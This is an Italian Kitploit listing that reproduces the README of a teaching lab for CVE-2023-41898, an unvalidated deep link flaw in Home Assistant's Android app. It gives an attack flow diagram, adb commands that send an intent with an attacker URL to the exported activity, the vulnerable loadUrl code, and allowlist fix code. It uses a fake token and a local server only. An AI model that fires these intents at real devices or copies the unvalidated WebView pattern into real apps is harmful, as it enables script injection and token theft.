Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-41898_Lab — Analisi dettagliata di CVE-2023-41898: sfruttare un deep link non validato in Home Assistant Android per caricare URL arbitrari in una WebView privilegiata e divulgare un token fittizio. | Kitploit
Strumenti/GitHubGitHub/lazybear8372/cve-2023-41898_lab
Sicurezza AndroidAnalisi delle VulnerabilitàPentesting di App MobiliApprendimento e FormazioneLab e Pratica
GitHublazybear8372/cve-2023-41898_lab

CVE-2023-41898_Lab

Analisi dettagliata di CVE-2023-41898: sfruttare un deep link non validato in Home Assistant Android per caricare URL arbitrari in una WebView privilegiata e divulgare un token fittizio.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
181 mese faNon ancora revisionato

CVE-2023-41898 Unvalidated Deep Link Lab

È un Lab educativo di riproduzione ridotta basato sul report di vulnerabilità pubblico (GHSL-2023-142) di Home Assistant Companion for Android e sulla struttura open source della versione vulnerabile 2023.8.2.

Non utilizza server, account o token reali di Home Assistant. Espone solo un token fittizio fisso: LAB_TOKEN_CVE_2023_41898_NOT_REAL.

Panoramica della vulnerabilità

  • Target: Home Assistant Companion for Android
  • Versioni interessate: precedenti a 2023.9.2 (secondo l'avviso ufficiale)
  • Versione corretta: 2023.9.2
  • Classificazione: Unvalidated Deep Link Handling / Arbitrary URL Loading in WebView
  • Impatto: esecuzione di JavaScript arbitrario, invocazione di funzionalità native limitate, possibile furto di credenziali

Struttura del Lab

Attacker App
  │ explicit ACTION_VIEW Intent
  │ data=http://10.0.2.2:8000/exploit.html
  ▼
Victim MyActivity (exported)
  │ WebView.loadUrl() con JavaScript abilitato, senza convalida
  ▼
exploit.html
  │ homeassistant://navigate/http://10.0.2.2:8000/second-stage.html
  ▼
Victim WebViewActivity (privileged WebView)
  │ bridge JavaScript externalApp esposto alla pagina dell'attaccante
  ▼
Visualizzazione del LAB_TOKEN fittizio

L'intent-filter nel manifest Android definisce solo quali URI corrispondono a un Intent implicito; non convalida automaticamente l'URI dei dati di un Intent che specifica esplicitamente un componente.

Componenti

  • victim/: app che riproduce il gestore di deep link vulnerabile e la WebView privilegiata
  • attacker/: app che invia un Intent esplicito all'Activity esportata dell'app vittima
  • web/: pagine d'attacco di fase 1 e 2 servite localmente
  • dist/: APK di debug verificati
  • UPSTREAM.md: corrispondenza tra il sorgente originale e l'implementazione del Lab

Build

Requisiti: JDK 17 o superiore, Android SDK 36, cache di Gradle/Android Gradle Plugin o connessione Internet.

./gradlew :victim:assembleDebug :attacker:assembleDebug

Installazione e pratica

Eseguire solo su emulatori autorizzati o dispositivi di test.

1. Installazione degli APK

adb install -r dist/cve-2023-41898-victim-debug.apk
adb install -r dist/cve-2023-41898-attacker-debug.apk

2. Avvio della pagina d'attacco locale

Dalla directory principale del Lab, eseguire il seguente comando.

python3 -m http.server 8000 --directory web

Nell'emulatore predefinito di Android Studio, 10.0.2.2 punta al loopback del PC host. Se si utilizza un dispositivo di test reale, modificare web/exploit.html e l'URL dell'app attaccante impostando l'IP LAN del PC.

3. Verifica del flusso d'attacco

  1. Installare le app CVE-2023-41898 Victim e CVE-2023-41898 Attacker.
  2. Avviare il server HTTP locale.
  3. Nell'app Attacker, premere Esegui flusso di deep link vulnerabile.
  4. La prima pagina d'attacco naviga verso l'URL interno homeassistant://navigate/.
  5. Verificare che la seconda WebView carichi la pagina dell'attaccante e mostri LAB_TOKEN_CVE_2023_41898_NOT_REAL.

È possibile invocare la prima fase anche senza l'app attaccante tramite ADB.

adb shell am start \
  -n lab.cve202341898.victim/.MyActivity \
  -a android.intent.action.VIEW \
  -d 'http://10.0.2.2:8000/exploit.html'

Codice vulnerabile e indicazioni per la correzione

L'implementazione vulnerabile carica l'URI esterno così com'è.

Uri urlToLoad = getIntent().getData();
webView.loadUrl(urlToLoad.toString());

In fase di correzione, verificare scheme, host, porta e path dell'URI analizzato tramite una strict allowlist. Non utilizzare confronti di stringhe con startsWith: comportano rischi di bypass tramite userinfo ([email protected]), sottodomini ed encoding.

Uri uri = getIntent().getData();
boolean trusted = uri != null
        && "https".equals(uri.getScheme())
        && "my.home-assistant.io".equals(uri.getHost())
        && uri.getPort() == -1
        && uri.getPath() != null
        && uri.getPath().startsWith("/redirect/");
if (!trusted) {
    finish();
    return;
}

Inoltre, rimuovere JavaScript e JavascriptInterface non necessari dalla WebView e applicare la stessa convalida degli URL a tutte le navigazioni e a tutti i reindirizzamenti.

Ambito di sicurezza e differenze dall'originale

  • Non è stata compilata l'intera app originale; è stato riprodotto solo il flusso di dati vulnerabile in un piccolo progetto Java.
  • Non include i nomi dei pacchetti reali, il deposito delle credenziali, la comunicazione col server né le funzionalità smart home.
  • Utilizza solo un token fittizio fisso invece di token di autenticazione reali.
  • Utilizza solo il server HTTP locale del PC host, non un server d'attacco su Internet.

Riferimenti

  • GitHub Security Lab GHSL-2023-142: https://securitylab.github.com/advisories/GHSL-2023-142_Home_Assistant_Companion_for_Android/
  • Avviso di sicurezza Home Assistant GHSA-jvpm-q3hq-86rg: https://github.com/home-assistant/core/security/advisories/GHSA-jvpm-q3hq-86rg
  • Tag sorgente della versione vulnerabile 2023.8.2: https://github.com/home-assistant/android/tree/2023.8.2
Scarica lo strumento